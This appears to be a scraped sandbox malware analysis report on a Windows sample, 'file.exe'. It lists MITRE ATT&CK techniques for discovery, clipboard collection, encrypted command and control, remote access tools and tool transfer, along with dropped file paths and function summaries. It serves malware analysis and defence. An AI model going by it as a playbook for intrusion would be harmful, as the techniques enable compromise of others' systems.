Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_5c68b29bb6b465bad180a68d35c62438a01da7_fff46f69_ec5e8cc4-da29-4dcd-9f55-dbe6e1ad8662\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER20B3.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER222B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER22B9.tmp.xml

C:\Users\user\AppData\Local\Temp\rnCMinwLHbrEjcomyVjl.dll

C:\Users\user\AppData\Local\Temp\service123.exe

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Windows Analysis Report
file.exe

Function 6C1714B0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 121
COMMON

Function 0005116C Relevance: 19.7, APIs: 13, Instructions: 200
sleepstringCOMMON

Function 000515B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Function 6C189C22 Relevance: 15.1, APIs: 10, Instructions: 110
sleepclipboardCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre